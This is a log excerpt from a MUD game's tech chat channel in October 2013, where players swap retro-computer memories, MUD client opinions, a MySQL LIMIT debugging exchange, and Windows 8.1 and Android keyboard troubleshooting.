T3/r7/2013-10-26.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: putty is enough for me. access to couple of headless machines
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: putty and xming :-)
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but seriously - why would you need dual boot or virtualisation? one desktop os not good enough?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: one desktop OS is not the right tool for every job, no
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Navi Tech: what about if you have things the require different OS's?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: 4kb of memory should be more than enough for anyone right?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: 640k
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: If you're running Tandy Color BASIC, 4k is enough.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Extended color BASIC requires 16k, though.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: heh, I had a sinclair zx80
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Arnica Tech: me, too
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: my first machine was a 486 66mhz
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I was a trash-80 guy, though I've spent a lot more time on Applesoft.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Still have an Apple //e and a IIGS
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: 486s are so modern!
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: i know right?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: its what you get for being young :P
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: Protogynus Robbo shakes his cane at you.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Arnica Tech: I built an 8080 kit
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: My first "PC" was a 386/sx, but that was my freshman year in high school.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: nice!
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: Food for thought. The Apollo missions had 64k of memory
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Not really, it was a Packard Bell :(
T3/r7/2013-10-26.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: i build an 8085 kit in 2003, my jr. year lol
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HomerSimpson Tech: and these days a phone has 2 GB. food for thought indeed!
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I have a badass card for my Apple IIs... can put a CompactFlash or USB drive in there, use as smartport hard drive emulation ;)
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: Protogynus Robbo flexes his muscles...what a stud!?!
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Guy in town here who works for Cray helped design it.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Cray by day, Apple 1 by night :P
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: I have some PLC cards for early Macs
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: If anybody needs one, by the way: http://dreher.net/?s=projects/CFforAppleII&c=projects/CFforAppleII/main.php
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: and C64s were absolutely huge in the ham radio world
T3/r7/2013-10-26.txt.gz:{chan ch=tech}None the Wyza Tech: these days if i need a low power computer, i'd get something like a arduino or beagleboard
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Kunren Tech: Anybody know where I might be able to find a map or gui for mudlet? I tried the mushclient thing on the website and hated it honestly...to many little windows haha.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: the mudlet site has a link to a mapper plugin, but I'd strongly recommend just turning off the little windows that you don't want
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Kunren Tech: maybe.. I just love the full screen of mudlet. And I dont really want to make my own map...thats what a mapper is for right?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Keldrath Tech: heh, mush is an eyesore, isn't it
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: AardMUSH is not!
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Kunren Tech: compared to mudlet it is...
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: the "full screen" of mudlet is the same as the full screen of MUSHclient...
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Kunren Tech: I guess im just to lazy to figure out the mushclient cause im used to mudlet haha.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: the issue is that you'll get zero support for Mudlet...
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Kunren Tech: thats unfortunate..alot of muds use it over most other clients. Why doesnt aardwolf?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: not a lot of successful MUDs use it, and it's been a pretty dead client development-wise
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Kunren Tech: what about achea? Or anything else by iron realms?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Kunren Tech: those are fairly successful.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Kunren Tech: whoops, achaea I mean.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: IRE developed an HTML5 client for themselves, and has plenty of support in the community for Mudlet, MUSHclient and CMUD
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HomerSimpson Tech: oh, interesting. Is that client mobile friendly?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: Mudlet was late to the party, and the developers wrote half a client and then disappeared for a couple years...the mapper plugin was beta-only for too long
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: it had huge potential, but they dropped the ball
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HomerSimpson Tech: aww :(
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: I'm talking about mudlet, not IRE's HTML5 client...that's for a MUD other than Aard
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. being so popular, i think aardwolf deserves a cross-platform client. and we could have so much fun with html5. mush is kinda clunky
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: aardwolf has cross-platform clients
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: emphfyzinsing html5
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: write it
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: you watch me!
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: client doesn't need anything whatsoever to do with the MUD
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thats not true
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if you write it lasher is always willing to add more web-based clients
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: it's quite true
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: its not
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: yes, it is
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: no
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i won, my answer was shorter
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Turie Tech: Abelinc is correct. MUSHclient was written for MUSH originally.
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: saying it multiple times doesn't change the fact that a client doesn't need to have anything whatsoever to do with the MUD
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: it CAN be affiliated with, and work separately with the MUD, but it doesn't have to have anything to do with it, as evidenced by the plethora of clients which have nothing to do with the MUD
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: it.. could. so the botters are spotted - you change something, the client tells it to the mud, and you get nuked automatically
T3/r7/2013-10-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: but its saturday. im frunk. yes, its a new word.. or maybe isn't. whatever. peace
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: so if i SELECT * FROM forum_posts WHERE post_topic = 1 ORDER BY post_id DESC it shows me everything correctly, but if i add a LIMIT 1,90930293029032 it shows only the oldest post, any ideas why?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: you told it to limit the search to just 1 entry
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: limit 1,48394893894389 should show all the entries
T3/r7/2013-10-26.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: LIMIT takes (count), (offset)
T3/r7/2013-10-26.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: nevermind
T3/r7/2013-10-26.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: i will shut up
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ya 1,492830492380948209 (high number) should in theory show rows 2-whatever
T3/r7/2013-10-26.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: any chance its overflowing to -1
T3/r7/2013-10-26.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: wild guess im too tired to think much lol apologies
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: no i tried it with 1000 also as the second number and it does the same thing, only shows the first record(oldest) insted of newest
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: silly question maybe, but this is on mysql and not another flavor, correct?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ya its mysql
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: for fun, try limit 5,<highnumber>
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: see if it shows only the 5th entry, or if it shows the first 5
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: there is only 2 rows, if i do limit 0,<highnumber> it shows them all, if i do limit 2,<highnumber> it shows nothing
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Keldrath Tech: use something sane for <highnumber> ?
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i used 1000 as high number for tests also
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i could have sworn it was working last night when i tested it, hence why im so confused
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: and limit 1 shows the correct row
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: oh, with only 2 entries, it makes sense
T3/r7/2013-10-26.txt.gz:{chan ch=tech}Tech: limit 0,999 would show max of 999 rows starting from the first...limit 1,999 would show max 999 rows starting from the second...there's only 2, so it'd only show one entry...limit <anything greater than 1>,999 wouldn't show anything since there's no row 3
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i understand that i wanted to show the second row+ but limit 1,999 is showing the first row rather then the second(the older rather then the newer), as im using order by DESC
T3/r7/2013-10-26.txt.gz:{chan ch=tech}HelperMan Hadar Tech: or im using the wrong order by
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Rahkim Tech: anybod able to help me. I installed the bast mush plugins and everthing works except for the main output window. it doesnt get any info for look, or inventory or anything now
T3/r7/2013-10-27.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Anybody know of a good site that have High qaulity 1024#600 wallpapers to download of nature abstract etc?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Jhav Tech: Try Wallbase
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Dolt Tech: wallbase.cc is my go to wallpaper site, lots of content so should have that size
T3/r7/2013-10-27.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Will do, thanks allot :-) 
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Don't go searching for 1024x600, go searching for 1920x1080 and scale/crop. 99% of the HD wallpaper scene (how funny is that, there actually is a scene) is 1080
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Dolt Tech: scenes ruin a lot of things.. why are they still splitting movies into cd sizes.. do people really still burn movies to cds?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://www.reddit.com/r/wallpapers/top/
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Scene doesn't split on CD, scene for movies recently switched to H.264, with no splitting - they release a spec document periodically.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The people splitting into CDs are the ones who noticed the scene back in Napster-time, and like to think of themselves as scene :D
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Dolt Tech: well that's good.. you still get releases on usenet that are in 2 700mb parts.. either way, they seem to get caught up on their rules too much. they shoul've stopped that years ago
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Rules are good, we'd still be dealing with 10 year tech wrapped in AVI if they weren't putting the rules out. Usenet is dead though, just so you know :-P That's why you get the CD splits, they haven't received the new spec rules in the post
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Dolt Tech: usenet's not dead
T3/r7/2013-10-27.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: oh so i must look for 1920#1080, ive noticed when i load a wallpaper on my tablet i have to drag a square onto the image to show what i want as a background.. got confused by that because some wallpapers open and save normally
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Everything that usenet does, private trackers and/or TOR does better
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Dolt Tech: the scenes that you brought up still release on usenet, and users on private trackers grab it from there most of the time
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hehe... if your private tracker isn't linked directly into scene, it's probably a terrible one
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Dolt goes, "OK".
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Pooven nods.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Summoner Yuna Tech: If I'm encoding music in 256 kbps CBR, does it matter if I use any profile (HE-AAC or He-AAC v2)?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli boggles at the concept.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: I upgrade to Windows 8.1. Now I have no Charms menu, no desktop, no taskbar, absolutely nothing... Only way I can open programs is through TaskManager. Yet, searching online shows nothing like this for 8.1... *ponder*
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Mye Tech: not sure about 8.x, but in prior versions, i would just run "explorer" from task manager to get my taskbar/etc back
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: That's the thing. I tried that, too, and I wound up having multiple 'explorer.exe' tasks running.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You should have a boot to desktop option, though the start menu is still the panels garbage. The original startbar/taskbar programs used in 8.0 apparently work for 8.1, though
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: But how can I access it at the moment? I have literally no start menu (panels or not), desktop, nothing. I can't even right-click on the supposed desktop.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Is it a clean install, or over 8.0? Might be something you hacked in to 8.0 to get a start menu back is now not happy
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: i.e could be killing the windows version, tries to bring up its version only to have 8.1 now say no
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Possible. I did have Classic Shell, but it's uninstalled now. Let me see if actually restarting the laptop works.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Brb! :p
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Check what you have listed to run when windows starts
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Mohan Tech: etzli, gimme a sec I will help you
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, restart didn't do it. And it's basic Windows stuff that's running.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli sighs.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: This is mind-boggling.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: anyone use teamviewer from an android phone?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tormat Tech: once.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: I use it all the time.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tormat Tech: well... tablet
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Usually while I'm out and about and want to pop on for a quick quest or to get my daily blessing.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tormat Tech: well... tablet
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli peers intently at Redryn.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Turie Tech: sco
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Redryn goes, "Hmmmm."
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: sorry was trying google :p
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i seem to have a problem with keyboard entering words 2x
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: eg... i connect to home pc from phone, and try to use mush
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i can type for example q request, send enter fine, if i then type 'en', it will send requesten
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: so i have to backspace the entire previous word, same if i use a web browser
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: can't seem to find anything on google so far
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: You have predicative typing on your keyboard?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i'm using the swype keyboard, though i tried it with samsung one too
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i believe they both have predictive text function, but i'm not using it
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i type each word in full
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Right, but it still suggests words?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Or do you have it completely turned off?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: it doesn't suggest words
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: feature is off
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: I wonder if it's a case of the phone thinking you haven't finished your previous word.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i've already sent the enter command though
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: what keyboard do you use?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Right, but it wasn't through a phone text field, but a command sent to MUSH. So makes me wonder if the phone only recognizes when enter is hit in its own text field.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: I use Swiftkey. But I have the same problem, with the words doubling up.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: funny thing is when i'm typing in the mush text field for example
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Turie Tech: You could use a bluetooth keyboard.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i can type q req, then q info
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: it will appear like i typed q info
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: That's unlikely to solve the situation, Turie.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: until i hit enter then magically it turns into reqq info
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: while i can see myself typing :/
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli chuckles politely.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: if i hit backspace the previous word pops up though and i can delete i
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: it's kinda annoying
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: did you manage to solve it on your end?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: try space, then?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Never have. I just kind of deal with it by deleting.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Redryn goes, "Hmmmm."
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't pop on enough for it to be too much a hassle, so it's just "Okay, I'll delete what's there and continue on."
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: well yea i guess
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: but i tried to gq on my phone once and it was ridiculous
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i think i spent a minute typing and sending error commands (this was before i figured out how the bug operated)
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: until i rage quit
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: must be a bug with the app i guess
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: It may be.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: i saw some mention of a double word bug being fixed for some other app from that company
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Though I can understand a bit why.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: oh well thanks
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: But it should be that 'enter' effectively clears the typed letters, whether it's valid on the phone or not.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: if it was an obscure mush bug i would understand, but it's same for stuff like chrome
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Hmm, seems that my whole "System" part is corrupt, too. I go to "System" on my laptop, pulls up a largely blank screen, aside from horizontal separators.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: laptop system or android?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Laptop. Upgraded to 8.1, for some reason I have no taskbar, Charms menu, etc.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: About to boot into Safe Mode, see if I get anything there.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}ShadowWalker Tech: i use the "remote RD" app on andoid cell whilst laying on bed  watching netflix
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: are you referring to teamviewer or jsut a bug
T3/r7/2013-10-27.txt.gz:{chan ch=tech}ShadowWalker Tech: thing for me is not being able to see what i type.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Me? I'm not referring to teamviewer at all. Was something I brought up earlier with Windows 8.1
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Redryn Tech: ah
T3/r7/2013-10-27.txt.gz:{chan ch=tech}ShadowWalker Tech: cant do much more than questing it does get frustrating quick :p
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: WTF? I can't even boot into safe mode anymore. *boggle*
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: that'll teach you to upgrade
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Right?!
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Nuanse Tech: don't touch it if it is not broken...
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: But it was so beautiful!
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli blinks innocently.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Nuanse Tech: yeah, it was beautifully working until you upgraded
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Inferno Tech: what is %gmcp.room.wrongdir?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You using mudlet?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Inferno Tech: cmud
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: it's when you try to go in a direction that you cannot
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: you get that for no exit, locked door, etc
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Inferno Tech: i don't understand. I'm standing in a Shin Hallway in Lem-Dagor with a path south and it tells me the wrongdir is "s"
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: CMUD doesn't clear the gmcp variables.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: So it's left over from when you previously tried to go 's'
T3/r7/2013-10-27.txt.gz:{chan ch=tech}[**NOPK**] Vegan Tech: cause thats a mirror room, its where the two areas are joined. (just a guess)
T3/r7/2013-10-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Interesting, I couldn't get that to appear in tintin the other day, the wrong.dir in gmcp.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Inferno Tech: ohhh it's not clearing that's it
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Inferno Tech: so it's the last failed movement direction
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: You nod.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Silly Microsoft rep trying to tell me that my laptop may be on reduced functionality mode. If that's the case, then wouldn't I be able to enter a genuine key (which I actually have, regardless).
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tormat Tech: did thyey call you or you call them?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: ohhhh microsoft...
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Chatting.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tormat Tech: ok
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tormat Tech: i get a call from "microsoft" about once a week telling me my computer has trouble....
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks at Tormat's saying.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Nah, I contacted them because my upgrade to Windows 8.1 apparently put me back to the stone age.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Turie Tech: Isn't Windows 8.1 the stones ages....It bricks your SSD.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: Book of Etzli buries his face in his hand and sighs, shaking his head.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: I love this. "Too many external devices is the root cause for your Windows 8.1 upgrade problems." 
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Really? So... my external hard drive and wireless keyboard are too many external devices?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Did you count the monitor, yourself?  Those are both external...
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: On a laptop? Can't really get rid of the monitor.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: But you're right, I should have counted myself.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Shame on me.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth crosses his arms and nods slowly and sagely to Book of Etzli.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Apparently the only solution the tech could come up with is "clean install of Windows 8."
T3/r7/2013-10-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know of an app for android that i can fully control the phone through my computer?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: As far as what?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: I can't remember if it's Airdroid or SnapPea that has the highest ability to control the phone.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i just mainly wanted a way to change the volume
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't think there's an app for that.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Mohan Tech: any client for android?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Mohan Tech: any client for android to play aard?
T3/r7/2013-10-27.txt.gz:{chan ch=tech}[**NOPK**] Vegan Tech: i use blowtorch
T3/r7/2013-10-27.txt.gz:{chan ch=tech}[**NOPK**] Vegan Tech: works well
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: can search android market for aardwolf rpg
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Wraiff Tech: check the Play store
T3/r7/2013-10-27.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah I think there is a blowtorch that is flavored for Aard.
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Dreckis Tech: I think they have blowtorch 2.0 now
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tech: which is a blowtorch preconfigured for aard
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Mohan Tech: not founded anything :(
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Tigernuts Tech: every time someone uses the Apple App store, god kills a kitten
T3/r7/2013-10-27.txt.gz:{chan ch=tech}Pleiades Tech: he just killed a few more
